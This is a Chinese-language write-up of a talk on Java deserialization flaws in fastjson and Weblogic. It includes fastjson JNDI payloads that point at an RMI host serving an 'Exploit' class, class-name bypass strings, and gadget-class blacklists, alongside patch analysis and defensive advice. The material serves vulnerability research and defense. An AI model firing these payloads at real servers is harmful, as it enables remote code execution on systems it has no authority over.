先知议题 Java反序列化实战 解读
作者：廖新喜
公众号：廖新喜
1 议题和个人介绍
1.1 议题概述
2017年又是反序列漏洞的大年，涌现了许多经典的因为反序列化导致的远程代码执行漏洞，像fastjson，jackson，struts2，weblogic这些使用量非常大的产品都存在这类漏洞，但不幸的是，这些漏洞的修复方式都是基于黑名单，每次都是旧洞未补全，新洞已面世。随着虚拟货币的暴涨，这些直接的远程执行代码漏洞都成了挖矿者的乐园。
本议题将从那些经典案例入手，分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析，由于黑名单做了加密处理，这里会展开如何得到其黑名单，如何构造PoC。当然2018年的重点还是weblogic，由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞，带大家傲游反序列化的世界，同时也是希望开发者多多借鉴做好安全编码。
1.2 个人简介：
本文作者来自绿盟科技，现任网络安全攻防实验室安全研究经理，安全行业从业七年，是看雪大会讲师，Pycon大会讲师，央视专访嘉宾，向RedHat、Apache、Amazon，Weblogic，阿里提交多份RCE漏洞报告，最近的Weblogic CVE-2018-2628就是一个。
个人博客：xxlegend.com
2 反序列化入门
序列化和反序列化是java引入的数据传输存储接口，序列化是用于将对象转换成二进制串存储，对应着writeObject，而反序列正好相反，将二进制串转换成对象，对应着readObject，类必须实现反序列化接口，同时设置serialVersionUID以便适用不同jvm环境。
可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头：0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle
使用场景:
- http参数，cookie，sesion，存储方式可能是base64（rO0），压缩后的base64（H4sl），MII等
- Servlets HTTP，Sockets，Session管理器 包含的协议就包括JMX，RMI，JMS，JNDI等（\xac\xed）
- xml Xstream,XMLDecoder等（HTTP Body：Content-Type:application/xml）
- json(Jackson，fastjson) http请求中包含
反序列攻击时序图:
常见的反序列化项目：
- Ysoserial 原生序列化PoC生成
- Marshalsec 第三方格式序列化PoC生成
- Freddy burp反序列化测试插件
- Java-Deserialization-Cheat-Sheet
3 fastjson
3.1 简介
Fastjson是Alibaba开发的，Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法，号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化，示例代码如下：
User user = new User("guest",2);String jsonString = JSON.toJSONString(user)
String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)
Fastjson PoC分类
主要分为两大类，一个是基于TemplateImpl，另外就是基于基于JNDI，基于JNDI的又可分为
a) Bean Property类型
b) Field类型
可以参考Demo：https://github.com/shengqi158/fastjson-remote-code-execute-poc
fastjson为了防止研究人员研究它的黑名单，想出了一套新的黑名单机制，这套黑名单是基于具体类的hash加密算法，不可逆。如果是简单穷举，基本算不出来，后来我想到这些库的黑名单肯定都在Maven仓库中，于是写了个爬虫，爬取Maven仓库下所有类，然后正向匹配输出真正的黑名单类。
3.2 fastjson最近的几个经典漏洞
下面这段代码是fastjson用来自定义loadClass的实现
public static Class<?> loadClass(String className, ClassLoader classLoader) { //省略
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
首先我们来看一个经典的PoC，{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有，这里不再详述，但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞，首先看1.2.41的绕过方法是 Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符 L和最后一个字符 ；吧，果不其然，在官方的修补方案中，如果以 L打头， ；结尾则会去掉打头和结尾。当时我就发了一个感概：补丁未出，漏洞已行。很显然，1.2.42的绕过方法是 LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有 [打头部分，所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名单中又添加了ibatis的黑名单，PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}，首先这是一个基于JNDI的PoC，为了更加理解这个PoC，我们还是先来看一下JndiDataSourceFactory的源码。
public class JndiDataSourceFactory implements DataSourceFactory { public static final String DATA_SOURCE = "data_source";
//省略
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
//省略
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
其本质还是通过bean操作接口set来调用setProperties，然后触发JNDI查询。
4 weblogic
Weblogic是第一个成功商业化的J2EE应用服务器，在大型企业中使用非常广泛。在Oracle旗下，可以与其他Oracle产品强强联手，WebLogic Server Java EE 应用基于标准化、模块化的组件，WebLogic Server 为这些模块提供了一组完整的服务，无需编程即可自动处理应用行为的许多细节，另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示：
CVE-2015-4852
基于T3
- 新的攻击面
- 基于commons-collections
- 采用黑名单修复
org.apache.commons.collections.functors* *com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
- 作用位置有限
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStreamweblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
CVE-2016-0638
首先来看下漏洞位置，在readExternal位置，
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { super.readExternal(var1);
//省略
ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
ObjectInputStream var5 = new ObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
再来看看补丁，加了一个FilteringObjectInputStream过滤接口
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
FilteringObjectInputStream的实现如下：
public class FilteringObjectInputStream extends ObjectInputStream { public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}
其实就是在resolveClass位置加了一层黑名单控制。
基于XMLDecoder
- CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder导致的漏洞
- CVE-2017-10271 是3506的绕过
- 都是挖矿主力军
- 基于http协议 详细解读可参考我的博客：http://xxlegend.com/2017/12/23/Weblogic XMLDecoder RCE分析/
CVE-2017-3248
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream { protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
CVE-2017-3248 这个漏洞是根据JRMPListener来构造的，从这个补丁也可以看出，在resolveClass和resolveProxyClass都设置了黑名单。
CVE-2018-2628
这个漏洞是我报给Oracle官方的，但是他们并没有修复完全，导致后来这个漏洞被滥用。
- 完美绕过CVE-2017-3248
- 基于StreamMessage封装
- 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制
- Proxy非必须项
攻击示意图如下：
简单分析可见：http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/
5 反序列化防御
5.1 Weblogic防御
- 过滤T3协议，限定可连接的IP
- 设置Nginx反向代理，实现t3协议和http协议隔离
- JEP290（JDK8u121，7u131，6u141），这个机制主要是在每层反序列化过程中都加了一层黑名单处理，黑名单如下：
黑名单：
maxdepth=100;!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*
当然也有失效的时候，就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。
5.2 原生反序列化防御
- 不要反序列化不可信的数据
- 给反序列数据加密签名，并确保解密在反序列之前
- 给反序列化接口添加认证授权
- 反序列化服务只允许监听在本地或者开启相应防火墙
- 升级第三方库
- 升级JDK，JEP290
6 招人
绿盟科技Web攻防实验室欢迎各位应聘，招聘大牛和实习生。团队专注于最前沿的Web攻防研究，大数据分析，前瞻性攻击与检测预研.
联系邮箱： liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com
以上是 先知议题 Java反序列化实战 解读 的全部内容， 来源链接： utcz.com/p/199044.html
